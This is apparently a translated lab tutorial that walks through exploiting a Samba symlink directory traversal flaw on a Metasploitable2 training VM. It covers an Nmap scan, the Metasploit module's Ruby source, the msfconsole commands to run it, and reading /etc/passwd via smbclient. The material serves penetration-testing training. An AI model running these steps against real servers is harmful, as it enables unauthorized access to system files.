Linux サーバーでの Samba 脆弱性の悪用

CybersecurityCybersecurityBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Metasploitable2 ターゲットマシンにおける新しい Samba の脆弱性を悪用する方法を学びます。プロセス全体を通じて、各ステップのスクリーンショットが提供されます。この実験を完了することで、Samba の脆弱性を悪用するためのツールの使用に関する実践的な経験を積むことができます。

このコースは純粋に実践的な実験チュートリアルです。実験内の操作を理解するのを助けるために、いくつかの情報セキュリティ理論が紹介され、最も価値のある記事が推奨され、実践しながら読むことができます。

実験環境の起動

このステップでは、実験用の攻撃マシン(Kali Linux コンテナ)とターゲットマシン(Metasploitable2 仮想マシン)を起動します。

  1. LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 ~ 3 分かかる場合があります。

  1. ターゲットマシンに ping を送信して接続性をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. 以下のコマンドを実行して Kali Linux コンテナを起動し、bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンとターゲットマシンの両方が起動し、侵入テストを開始することができます。

注意: 誤って現在の bash を終了した場合、Kali コンテナは自動的に停止します。ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行することで、新しい Kali コンテナを起動して bash に入り、実験を続行することができます。

ターゲットホストの脆弱性スキャン

このステップでは、Nmap を使用してターゲットホストの脆弱性をスキャンします。

まず、LabEx の Kali 環境で MSF ターミナルにログインします。

cd ~
service postgresql start
msfdb init
msfconsole

侵入テストの最初のステップは、ターゲットホストに関する情報を収集することです。以下のコマンドを入力して、Nmap を使用してターゲットホストの脆弱性をスキャンし、スキャン結果を /tmp/report.txt ファイルに保存します。

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

ここで使用されているパラメータの意味は以下の通りです。

パラメータ 説明
-p スキャンするポート範囲を指定します。
-T4 Nmap スキャンのタイミングポリシーを設定します。値は 0 ~ 5 で、値が大きいほど速くなります。
-A オペレーティングシステムの検出とバージョン検出を有効にします。
-v スキャン中に詳細な情報を表示します。
>/tmp/report.txt 出力をファイルにリダイレクトして、後で分析できるようにします。

このプロセスは、広範囲のポートをスキャンして包括的な情報を収集するため、時間がかかる場合があります。1 ~ 2 分程度お待ちください。

スキャンが完了したら、Ctrl+D を押し、LabEx の Kali ターミナルで cat コマンドを使用してファイルの内容を表示します。

cat /tmp/report.txt

テキストには、以下のような情報が表示されるはずです。

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

これは、ポート 139 と 445 で Samba サービスが実行されていることを示しています。

Samba の脆弱性を分析する

このステップでは、Samba の脆弱性について学び、エクスプロイトモジュールのコアコードを分析します。

Samba は、UNIX 系オペレーティングシステムが Microsoft Windows で使用される SMB/CIFS(Server Message Block/Common Internet File System)ネットワークプロトコルと接続できるようにするフリーソフトウェアです。バージョン 3 では、SMB フォルダやプリンタのアクセスと共有が可能なだけでなく、ドメインコントローラとして Windows Server ドメインに統合したり、メンバーとして Active Directory に参加したりすることもできます。簡単に言えば、このソフトウェアは Windows と UNIX 系オペレーティングシステムの間のギャップを埋め、両者間のリソース共有を可能にします。

Samba は幅広い用途で使用されているため、Samba の脆弱性は大きな影響を与える可能性があります。Samba は、選択した Unix ディレクトリ(すべてのサブディレクトリを含む)のネットワーク共有を作成することができます。この機能により、Windows ユーザーは通常の Windows フォルダにアクセスするのと同じように、ネットワークを介してこれらの Unix ディレクトリにアクセスすることができます。

この実験で使用される脆弱性インデックスは次の通りです。

OSVDB - 62145

この実験で使用される samba モジュールのソースコードインデックスは次の通りです。

symlink_traversal.rb

コアコードの説明を見ていきましょう。

  ## Module initialization information, including author information and module introduction
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## Register option information
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## Main execution function
  def run

    ## Function to connect to the server
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## Connect to the target host
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## Attempt to enter the root filesystem
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## Print success message after successful entry
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

モジュールのコアコードを説明した後、MSF ターミナルで以下のコマンドを入力して実際のエクスプロイトを行いましょう。

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

ターゲットホストを設定します。

set RHOST 192.168.122.102

共有ディレクトリを選択します。

set SMBSHARE tmp

注意: この Samba の脆弱性の影響は、選択した Unix ディレクトリ(すべてのサブディレクトリを含む)のネットワーク共有を作成できることです。

必要なパラメータをすべて設定した後、脆弱性のエクスプロイトを進めることができます。

exploit

成功した場合、次のメッセージが表示されるはずです。

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

エクスプロイトが成功した後、exit コマンドで終了し、ターミナルで smbclient を使用して接続できるかテストします。パスワードを求められますが、何も入力せずに Enter を押すことができます。

exit
smbclient //192.168.122.102/tmp

接続したら、以下のコマンドを実行してルートファイルシステムへのアクセスを確認できます。

more rootfs/etc/passwd

次のような出力が表示されるはずです。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

これにより、脆弱性を正常に悪用し、作成したネットワーク共有を介してターゲットホストにアクセスできたことが確認されます。

Metasploit コンソールを終了するには Ctrl + D を押し、その後検査を開始します

まとめ

この実験では、Metasploitable2 の Samba 脆弱性について学び、元の手順を使用してターゲットマシンでこの脆弱性を悪用するプロセスを学びました。その後、作成したネットワーク共有を使用して、攻撃されたターゲットホストにログインしました。この実験でカバーされた要点は以下の通りです。

  • Linux 基本コマンド
  • Nmap 脆弱性スキャン
  • スキャンされた Samba 脆弱性の分析
  • symlink_traversal モジュールのコアコードの説明
  • ネットワークファイル共有を使用したターゲットホストへのログイン

侵入テストプロセスの理解を深めるために、これらの手順を繰り返し練習することをおすすめします。推奨読書セクションでは、Samba 脆弱性に関する知識を深めるための追加リソースを提供しています。